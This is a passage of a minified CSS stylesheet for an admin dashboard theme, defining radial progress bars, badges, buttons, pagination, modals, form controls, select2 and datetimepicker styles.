#d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-70{background-image:linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-75{background-image:linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-80{background-image:linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-85{background-image:linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-90{background-image:linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-95{background-image:linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-100{background-image:linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-50{background-image:linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-55{background-image:linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-60{background-image:linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-65{background-image:linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-70{background-image:linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-75{background-image:linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-80{background-image:linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-85{background-image:linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-90{background-image:linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-95{background-image:linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-100{background-image:linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-50{background-image:linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-55{background-image:linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-60{background-image:linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-65{background-image:linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-70{background-image:linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-75{background-image:linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-80{background-image:linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-85{background-image:linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-90{background-image:linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-95{background-image:linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-100{background-image:linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-lg{width:100px;height:100px;font-size:20px}.radial-bar-lg:after,.radial-bar-lg>img{width:70px;height:70px;margin-left:15px;margin-top:15px;line-height:70px}.radial-bar-sm{width:50px;height:50px;font-size:12px}.radial-bar-sm:after,.radial-bar-sm>img{width:35px;height:35px;margin-left:7.5px;margin-top:7.5px;line-height:35px}.radial-bar-xs{width:30px;height:30px;font-size:8px}.radial-bar-xs:after,.radial-bar-xs>img{width:20px;height:20px;margin-left:5.5px;margin-top:4.5px;line-height:21px}.radial-bar{background-clip:content-box}.card .card-body .dataTables_wrapper .dataTables_scroll{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .dataTables_scroll .dataTable{margin-left:0px;width:100%}.card .card-body .dataTables_wrapper .dataTable{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .form-control{border:none;min-height:30px;background-color:#f4f4f4}.card .card-body .dataTables_wrapper select.form-control{height:30px !important}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link{margin-left:5px;min-width:30px;height:30px;padding:0;text-align:center;line-height:30px;border:none;background-color:#f4f4f4;color:#212121;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link{padding:0 15px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link{color:#6c757d;background-color:#f4f4f4;cursor:not-allowed}.card .card-table .card-item{border-top:1px solid #ededed}.table thead{background-color:#f6f8fb}.table thead th{font-weight:600;color:#879099;font-size:14px}.table tbody td{vertical-align:middle}.table tbody td .table-user-thumb{width:30px;height:30px;border-radius:50%}.table tbody td .table-actions{text-align:right}.table tbody td .table-actions a{color:#bcc1c6;display:inline-block;margin-left:8px;font-size:16px}.badge{padding:6px 10px;font-size:12px;font-weight:600}.badge.badge-top-left{top:7px;right:10px}.badge.badge-top-left-2{top:40px;right:10px}.badge-primary,.badge-success,.badge-info,.badge-warning,.badge-danger,.badge-inverse,.badge-purple,.badge-pink,.badge-twitter,.badge-facebook,.badge-linkedin,.badge-google,.badge-dribbble,.badge-instagram{color:#fff}.badge-theme{background-color:#ef4153}.badge-aqua{background-color:#3ec5d6}.badge-blue{background-color:#19B5FE}.badge-light-blue{background-color:#89CFF0}.badge-teal{background-color:#008081}.badge-yellow{background-color:#F7CA18}.badge-orange{background-color:#FF8000}.badge-green{background-color:#26C281}.badge-lime{background-color:#cad900}.badge-red{background-color:#F22613}.badge-fuchsia{background-color:#df2de3}.badge-navy{background-color:navy}.badge-empty{background:transparent}.badge-primary{background-color:#007bff}.badge-success{background-color:#2dce89}.badge-info{background-color:#11cdef}.badge-warning{background-color:#fb6340}.badge-danger{background-color:#f5365c}.badge-muted{background-color:#6c757d}.badge-inverse{background-color:#4c5667}.badge-purple{background-color:#BF55EC}.badge-pink{background-color:#f76397}.badge-white{background-color:#fff}.btn .badge{padding:2px 6px}.pagination .page-item{padding:5px}.pagination .page-item .page-link{outline:initial !important;box-shadow:none !important;line-height:18px;min-width:30px;text-align:center;height:30px;padding:6px 0px;border:none;background-color:#eaeaea;color:#3e5569;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.pagination .page-item .page-link.first,.pagination .page-item .page-link.last{color:#fff;background-color:#3e5569}.pagination .page-item.active .page-link{background-color:#007bff;color:#fff}.btn{padding:6px 14px;height:30px;font-size:13px;font-weight:600;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.btn i{margin-right:5px}.btn-icon{width:30px;height:30px;padding:0;text-align:center;line-height:32px;font-size:14px;display:inline-block;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.btn-icon i{margin-right:0 !important}.social-btn{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:30px;color:#fff}.social-btn i{margin:0}.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger,.btn-inverse,.btn-purple,.btn-pink,.btn-twitter,.btn-facebook,.btn-linkedin,.btn-google,.btn-dribbble,.btn-instagram{color:#fff}.btn-theme{background:linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);color:#fff}.btndefault{background-color:#dae6ec;border-color:#dae6ec}.btndefault:focus,.btndefault:hover,.btndefault:active,.btndefault.active{background-color:#dae6ec;border-color:#C2CED4;color:#fff !important}.btn-primary{background-color:#007bff;border:1px solid #007bff}.btn-primary:hover,.btn-primary:focus,.btn-primary.active{background-color:#006fe6;border:1px solid #006fe6;color:#fff !important}.btn-success{background-color:#2dce89;border:1px solid #2dce89}.btn-success:hover,.btn-success:focus,.btn-success.active{background-color:#28b97b;border:1px solid #28b97b;color:#fff !important}.btn-info{background-color:#11cdef;border:1px solid #11cdef}.btn-info:hover,.btn-info:focus,.btn-info.active{background-color:#0fb9d8;border:1px solid #0fb9d8;color:#fff !important}.btn-warning{background-color:#fb6340;border:1px solid #fb6340}.btn-warning:hover,.btn-warning:focus,.btn-warning.active{background-color:#fa4f27;border:1px solid #fa4f27;color:#fff !important}.btn-danger{background-color:#f5365c;border:1px solid #f5365c}.btn-danger:focus,.btn-danger:hover,.btn-danger.active{background-color:#f41e48;border:1px solid #f41e48;color:#fff !important}.btn-inverse{background-color:#4c5667;border:1px solid #4c5667}.btn-inverse:hover,.btn-inverse:focus,.btn-inverse.active{background-color:#414a58;border:1px solid #414a58;color:#fff !important}.btn-purple{background-color:#BF55EC;border:1px solid #BF55EC}.btn-purple:hover,.btn-purple:focus,.btn-purple.active{background-color:#b63ee9;border:1px solid #b63ee9;color:#fff !important}.btn-pink{background-color:#f76397;border:1px solid #f76397}.btn-pink:hover,.btn-pink:focus,.btn-pink.active{background-color:#f64b87;border:1px solid #f64b87;color:#fff !important}.btn-facebook{background:#3b579d}.btn-twitter{background:#1da1f2}.btn-dribbble{background:#ea4c89}.btn-linkedin{background:#0177b4}.btn-google{background:#dc4a38}.btn-instagram{background:#fb3958}.template-demo .btn{margin-right:10px;margin-bottom:10px}.btn-group .btn{margin:0}.full-window-modal .modal-dialog{position:fixed;width:100%;height:100%;margin:0;max-width:100%;left:0;top:0;bottom:0;display:block}.full-window-modal .modal-dialog .modal-content{height:100vh;border:none;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.full-window-modal .modal-dialog .modal-content .modal-body{height:calc(100vh - 50px);overflow-x:auto}.full-window-modal .modal-dialog .modal-content .modal-footer{background-color:#393a3d;padding:15px 24px;padding-top:15px !important}.modal-open .apps-modal{overflow:hidden}.modal-open .apps-modal .close{position:absolute;top:20px;right:20px;text-shadow:none;z-index:9}.modal-open .apps-modal .modal-dialog{width:100%;max-width:100%;border-radius:0;margin:0}.modal-open .apps-modal .modal-dialog .modal-content{border:none;border-radius:0;min-height:100vh;background-color:#fff}.modal-open .apps-modal .modal-dialog .modal-content .quick-search{position:absolute;width:100%;top:17px;padding:0 50px;z-index:9}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap{position:relative}.modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i{position:absolute;right:5px;top:0;width:30px;height:35px;border-radius:50%;line-height:35px;text-align:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-flow:row wrap;-moz-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;width:100%}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item{width:130px;height:100px;margin:10px;color:#ccc;text-align:center;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a{display:inline-block}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i{font-size:40px;color:#3e5569;display:inline-block;margin-bottom:10px;-moz-transition:all 0.3s ease 0s;-o-transition:all 0.3s ease 0s;-webkit-transition:all 0.3s ease 0s;transition:all 0.3s ease 0s}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span{display:block;font-size:14px;color:#3e5569}.modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i{color:#ef4153}.modal-open .apps-modal.fade .modal-dialog{overflow:hidden;-moz-transform:translate(0, 0) scale(1.2);-o-transform:translate(0, 0) scale(1.2);-ms-transform:translate(0, 0) scale(1.2);-webkit-transform:translate(0, 0) scale(1.2);transform:translate(0, 0) scale(1.2)}.modal-open .apps-modal.fade.show .modal-dialog{-moz-transform:translate(0, 0) scale(1);-o-transform:translate(0, 0) scale(1);-ms-transform:translate(0, 0) scale(1);-webkit-transform:translate(0, 0) scale(1);transform:translate(0, 0) scale(1)}.form-group{margin-bottom:1.25em}.form-group .form-control-lg{font-size:1.25em}.form-group .form-control-round{border-radius:50px}.form-group .form-control-static:focus{outline:none}.form-control{height:auto;min-height:35px;border:1px solid #eaeaea;padding:0 10px;background-color:#fff;font-size:13px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.form-control.placeholder{color:#999999}.form-control:-moz-placeholder{color:#999999}.form-control::-moz-placeholder{color:#999999}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control:focus{border-color:#e2dfdf;-webkit-box-shadow:none;box-shadow:none}.form-control.form-control-normal{font-weight:400}.form-control.form-control-bold{font-weight:700}.form-control.form-control-capitalize{text-transform:capitalize}.form-control.form-control-uppercase{text-transform:uppercase}.form-control.form-control-lowercase{text-transform:lowercase}.form-control.form-control-variant{font-variant:small-caps}.form-control.form-control-left{text-align:left}.form-control.form-control-center{text-align:center}.form-control.form-control-right{text-align:right}.form-control.form-control-rtl{direction:rtl}.form-control:disabled{cursor:not-allowed;opacity:0.5}select.form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding-right:20px;background-image:url("../img/down-arrow.svg");background-position:center right 15px;background-repeat:no-repeat;-webkit-background-size:10px;background-size:10px;height:35px !important}textarea.form-control{padding:10px 15px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.custom-radio .custom-control-label{line-height:24px}.custom-checkbox .custom-control-label{line-height:24px}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:none;content:"\e83f";line-height:16px;font-family:'iconkit';color:#fff}.custom-control-label{text-align:center}.input-group .input-group-prepend .input-group-text{border-top-left-radius:4px;border-bottom-left-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-left:15px;height:35px;font-size:14px}.input-group .input-group-prepend .btn{height:35px;border-top-left-radius:4px;border-bottom-left-radius:4px}.input-group .input-group-append .input-group-text{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#eaeaea;border-color:#eaeaea;padding-right:15px;height:35px;font-size:14px}.input-group .input-group-append .btn{height:35px;border-top-right-radius:4px;border-bottom-right-radius:4px}.form-group .file-upload-default{visibility:hidden;position:absolute}.form-group .file-upload-info{background:transparent}.select2.select2-container--default .select2-selection--single{border-color:#eaeaea;height:35px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2.select2-container--default .select2-selection--single .select2-selection__rendered{line-height:35px;padding-left:15px;padding-right:30px}.select2.select2-container--default .select2-selection--single .select2-selection__arrow{height:33px;right:8px}.select2.select2-container--default .select2-selection--multiple{border-color:#eaeaea}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered{margin-top:1px}.select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice{border:none;padding:1px 5px}.select2.select2-container--default.select2-container--focus .select2-selection--multiple{border-color:#8e8e8e}.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.select2.select2-container .select2-selection--multiple{min-height:35px}.select2-container--default .select2-dropdown{background-color:#fff;border:none;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.select2-container--default .select2-dropdown .select2-search--dropdown{padding:5px}.select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field{height:30px;border:none;background-color:#eaeaea;padding:5px 10px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2-container--default .select2-dropdown .select2-results .select2-results__options{padding:5px}.select2-results__option{background-color:#fff;padding:8px 15px;border-radius:4px;line-height:14px}.bootstrap-datetimepicker-widget .table thead{background-color:transparent}.bootstrap-datetimepicker-widget .table thead tr th{color:#212121;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.bootstrap-datetimepicker-widget .table tr td,.bootstrap-datetimepicker-widget .table tr th{text-align:center;width:35px;height:35px;border-radius:50%;border:none;line-height:35px;position:relative;z-index:1}.bootstrap-datetimepicker-widget .table tr td.today,.bootstrap-datetimepicker-widget .table tr td.active{color:#fff;position:relative;z-index:1;background-color:transparent;text-shadow:none}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before,.bootstrap-datetimepicker-widget .table tr td.active:before,.bootstrap-datetimepicker-widget .table tr td.active::before{width:30px;height:30px;border-radius:50%;border:none;background-color:#4a5361;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .table tr td.active:hover:before,.bootstrap-datetimepicker-widget .table tr td.active:hover::before{background-color:#4a5361 !important}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before{background-color:#ef4153}.bootstrap-datetimepicker-widget .table tr td.day:hover,.bootstrap-datetimepicker-widget .table tr td.hour:hover,.bootstrap-datetimepicker-widget .table tr td.minute:hover,.bootstrap-datetimepicker-widget .table tr td.second:hover{background-color:transparent}.bootstrap-datetimepicker-widget .table tr td:before,.bootstrap-datetimepicker-widget .table tr td::before{width:30px;height:30px;border-radius:50%;border:none;background-color:transparent;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(0);-o-transform:scale(0);-ms-transform:scale(0);-webkit-transform:scale(0);transform:scale(0);-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.bootstrap-datetimepicker-widget .table tr td:hover:before,.bootstrap-datetimepicker-widget .table tr td:hover::before{background-color:#f4f4f4;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .timepicker table td{position:relative;z-index:1;width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget .timepicker table td .btn{height:auto}.bootstrap-datetimepicker-widget .timepicker table td span{width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget.dropdown-menu{min-width:280px}.bootstrap-datetimepicker-widget.dropdown-menu.bottom:before,.bootstrap-datetimepicker-widget.dropdown-menu.bottom::before{border-bottom-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu.top:before,.bootstrap-datetimepicker-widget.dropdown-menu.top::before{border-top-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td{width:30px;height:30px;line-height:30px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before{top:4px;left:0px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before{top:4px;left:0px}.bootstrap-tagsinput{display:block;border:1px solid #eaeaea;min-height:35px;padding:0px 10px;padding-top:4px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.bootstrap-tagsinput .tag{padding:1px 5px;margin-right:2px;margin-bottom:4px;display:inline-block;text-transform:capitalize;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;background-color:#4c5667}.note-editor.note-frame.card{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.input-group{margin-bottom:1.25em}.form-control-primary{border-color:#007bff;color:#007bff}.form-control-primary:focus{border-color:#007bff}.input-group-primary .input-group-append .input-group-text,.input-group-primary .input-group-prepend .input-group-text{background-color:#007bff;border-color:#007bff;color:#fff}.input-group-primary .form-control{border-color:#007bff}.form-control-warning{border-color:#fb6340;color:#fb6340}.form-control-warning:focus{border-color:#fb6340}.input-group-warning .input-group-append .input-group-text,.input-group-warning .input-group-prepend .input-group-text{background-color:#fb6340;border-color:#fb6340;color:#fff}.input-group-warning .form-control{border-color:#fb6340}.form-control-default{border-color:#d6d6d6;color:#d6d6d6}.form-control-default:focus{border-color:#d6d6d6}.input-group-default .input-group-append .input-group-text,.input-group-default .input-group-prepend .input-group-text{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.input-group-default .form-control{border-color:#d6d6d6}.form-control-danger{border-color:#f5365c;color:#f5365c}.form-control-danger:focus{border-color:#f5365c}.input-group-danger .input-group-append .input-group-text,.input-group-danger .input-group-prepend .input-group-text{background-color:#f5365c;border-color:#f5365c;color:#fff}.input-group-danger .form-control{border-color:#f5365c}.form-control-success{border-color:#2dce89;color:#2dce89}.form-control-success:focus{border-color:#2dce89}.input-group-success .input-group-append .input-group-text,.input-group-success .input-group-prepend .input-group-text{background-color:#2dce89;border-color:#2dce89;color:#fff}.input-group-success .form-control{border-color:#2dce89}.form-control-inverse{border-color:#4c5667;color:#4c5667}.form-control-inverse:focus{border-color:#4c5667}.input-group-inverse .input-group-append .input-group-text,.input-group-inverse .input-group-prepend .input-group-text{background-color:#4c5667;border-color:#4c5667;color:#fff}.input-group-inverse .form-control{border-color:#4c5667}.form-control-info{border-color:#11cdef;color:#11cdef}.form-control-info:focus{border-color:#11cdef}.input-group-info .input-group-append .input-group-text,.input-group-info .input-group-prepend .input-group-text{background-color:#11cdef;border-color:#11cdef;color:#fff}.input-group-info .form-control{border-color:#11cdef}.form-txt-primary{color:#007bff}.form-txt-primary:focus{color:#007bff}.form-txt-primary::-moz-placeholder{color:#007bff;opacity:1}.form-txt-primary:-ms-input-placeholder{color:#007bff}.form-txt-primary::-webkit-input-placeholder{color:#007bff}.form-txt-warning{color:#fb6340}.form-txt-warning:focus{color:#fb6340}.form-txt-warning::-moz-placeholder{color:#fb6340;opacity:1}.form-txt-warning:-ms-input-placeholder{color:#fb6340}.form-txt-warning::-webkit-input-placeholder{color:#fb6340}.form-txt-default{color:#d6d6d6}.form-txt-default:focus{color:#d6d6d6}.form-txt-default::-moz-placeholder{color:#d6d6d6;opacity:1}.form-txt-default:-ms-input-placeholder{color:#d6d6d6}.form-txt-default::-webkit-input-placeholder{color:#d6d6d6}.form-txt-danger{color:#f5365c}.form-txt-danger:focus{color:#f5365c}.form-txt-danger::-moz-placeholder{color:#f5365c;opacity:1}.form-txt-danger:-ms-input-placeholder{color:#f5365c}.form-txt-danger::-webkit-input-placeholder{color:#f5365c}.form-txt-success{color:#2dce89}.form-txt-success:focus{color:#2dce89}.form-txt-success::-moz-placeholder{color:#2dce89;opacity:1}.form-txt-success:-ms-input-placeholder{color:#2dce89}.form-txt-success::-webkit-input-placeholder{color:#2dce89}.form-txt-inverse{color:#4c5667}.